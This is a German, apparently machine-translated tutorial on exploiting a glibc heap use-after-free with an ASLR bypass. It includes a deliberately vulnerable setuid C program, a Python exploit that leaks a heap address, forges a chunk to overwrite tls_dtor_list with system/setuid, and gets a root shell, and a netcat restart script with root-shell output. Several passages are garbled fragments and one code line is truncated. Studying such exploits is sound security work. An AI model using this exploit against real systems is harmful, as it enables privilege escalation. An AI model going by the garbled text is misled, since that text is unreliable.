Voraussetzungen:
- Off-By-One- Sicherheitsanfälligkeit
- Arbeit
mallocin verstehenglibc
Konfiguration der virtuellen Maschine: Fedora 20 (x86).
Was ist Use-After-Free (UaF)?
Der Use-After-Free-Fehler tritt auf, wenn der Heap-Zeiger nach seiner Freigabe weiterhin verwendet wird. Eine solche Sicherheitsanfälligkeit kann zur Ausführung von abgeleitetem Code führen.
Anfälliger Code:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
Kompilierungsbefehle:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
Hinweis : Im Vergleich zum vorherigen Artikel ist hier ASLR enthalten. Nutzen wir nun den UaF-Fehler und da ASLR aktiviert ist, können wir ihn mit Informationslecks und Brute-Force umgehen.Im obigen Code befinden sich die Sicherheitslücken, die nach dem Gebrauch frei sind, in den Zeilen [6] und [13]. Die entsprechenden Heap-Speicher werden in den Zeilen [5] und [10] freigegeben, aber ihre Zeiger werden nach der Freigabe in den Zeilen [6] und [13] verwendet! UaF in Zeile [6] führt zu Informationslecks, in Zeile [13] zu willkürlicher Codeausführung.
Was ist ein Informationsleck? Wie kann ein Angreifer es ausnutzen?
Im obigen anfälligen Code (in Zeile [6]) tritt das Leck an der Heap-Adresse auf. Die durchgesickerte Heap-Adresse hilft einem Angreifer, die zufällig zugewiesene Heap-Segment-Adresse leicht herauszufinden und dabei die ASLR zu umgehen.
Um zu verstehen, wie ein Heap-Adressleck auftritt, verstehen wir zunächst die erste Hälfte des anfälligen Codes.
- Zeile [1] weist "Name" 16 Byte Heapspeicher zu .
- [2] 16 «details».
- [3] 1 (argv[1]) «name».
- [4] [5] «name» «details» glibc malloc.
- Printf [6] «name» , .
Nach dem Lesen des Artikels im Abschnitt "Voraussetzungen" wissen wir, dass die Blöcke , die den Zeigern "Name" und "Details" entsprechen, schnelle Blöcke sind, die beim Loslassen in schnellen Zellen auf Index Null gespeichert werden . Wir wissen auch, dass jede schnelle Zelle eine einzeln verknüpfte Liste freier Blöcke enthält. Zurück zu unserem Beispiel: Eine einfach verknüpfte Liste mit dem Index Null in einer schnellen Zelle sieht also wie folgt aus:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
Aufgrund der Singularität enthalten die ersten 4 Bytes von "name" die Adresse von "details_chunk" . Wenn also "Name" angezeigt wird, wird zuerst die Adresse von "details_chunk" angezeigt . Basierend auf dem Heap-Layout wissen wir, dass "details_chunk" um 0x10 von der Basis-Heap-Adresse versetzt ist. Wenn Sie also 0x10 von der durchgesickerten Heap-Adresse subtrahieren, erhalten Sie die Basisadresse!
Wie wird eine willkürliche Codeausführung erreicht?
Nachdem wir nun die Basisadresse des Heap-Segments haben, sehen wir uns in der zweiten Hälfte unseres Beispiels an, wie beliebiger Code ausgeführt wird.
- Zeile [7] weist "tmp" einen 16-Byte- Heapspeicher zu .
- [8] 1024 «p1».
- [9] 1024 «p2».
- [10] «p2» glibc malloc.
- [11] 512 «p2_1».
- [12] 512 «p2_2».
- Read [13] «p2» .
- [14] «p1»
glibc malloc, .
Nachdem wir den Artikel im Abschnitt " Voraussetzungen " gelesen haben , wissen wir, dass "p2" , wenn es in veröffentlicht
glibc mallocwird , zu einem Top-Block zusammengefasst wird. Später, als Speicher für angefordert wird „P2_1“ , es zugeordnet ist , von den oberen Brocken und „P2“ und „P2_2“ hat die gleiche Heap - Adresse. Wenn ferner Speicher für angefordert wird „P2_2“ , es wird zugewiesen aus den Top-Brocken und „P2_2“ ist 512 Bytes weg von „p2“ . Also wenn der Zeiger "p2"Wird nach der Freigabe in Zeile [13] verwendet, werden die vom Angreifer kontrollierten Daten (maximal 1019 Byte) in "p2_1" kopiert , das nur 512 Byte groß ist. Daher überschreiben die verbleibenden Daten des Angreifers den nächsten Block "p2_2" und geben dem Angreifer die Möglichkeit, das Feld zu überschreiben die Größe des nächsten Chunk-Headers.
Heap - Layout:
Wie wir aus dem kennen Artikel im Voraussetzung Abschnitt , wenn ein Angreifer erfolgreich das LSB des nächsten Chunkgröße Feldes überschreiben kann, er betrüge kann
glibc mallocdie Verbindung mit dem P2_1 zu brechen Brocken , auch wenn es in einem zugeordneten Zustand befindet. Auch in diesem ArtikelWir haben gesehen, dass das Trennen eines großen Blocks in einem zugewiesenen Zustand zu einer willkürlichen Codeausführung führen kann, wenn ein Angreifer den Blockkopf sorgfältig manipuliert hat. Der Angreifer erstellt einen gefälschten Chunk-Header wie unten gezeigt:
fdsollte auf eine freigegebene Blockadresse verweisen. Aus dem Heap-Diagramm können wir erkennen, dass "p2_1" am Offset 0x410 liegt. Von hier ausfd = heap_base_address(was aufgrund des Lecks empfangen wurde) + 0x410.bksollte auch auf eine freigegebene Blockadresse verweisen. Aus dem Heap-Diagramm können wir erkennen, dass "p2_1" am Offset 0x410 liegt. Daherfd = heap_base_address(was aufgrund des Lecks bekommen wurde) + 0x410.fd_nextsizetls_dtor_list– 0x14. «tls_dtor_list»private anonymous mapping glibc. , , .bk_nextsize, «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .
Nachdem wir alle diese Informationen haben, können wir einen Exploit schreiben, um die anfällige "vuln" -Binärdatei anzugreifen .
Code ausnutzen:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
Da wir während Brute-Force mehrere Versuche benötigen (bis wir erfolgreich sind), führen wir unsere anfällige "vuln" -Binärdatei als Netzwerkserver aus und verwenden ein Shell-Skript, um sicherzustellen, dass sie beim Absturz automatisch neu gestartet wird.
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
Wenn Sie den obigen Exploit-Code ausführen, erhalten Sie Root-Rechte in der Shell. Passierte!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
Eine Quelle:
1. Überprüfung der Sicherheitsanfälligkeit von Defcon CTF Shitsco - Remote Code Execution
Bootkit-Analyse. Kostenlose Lektion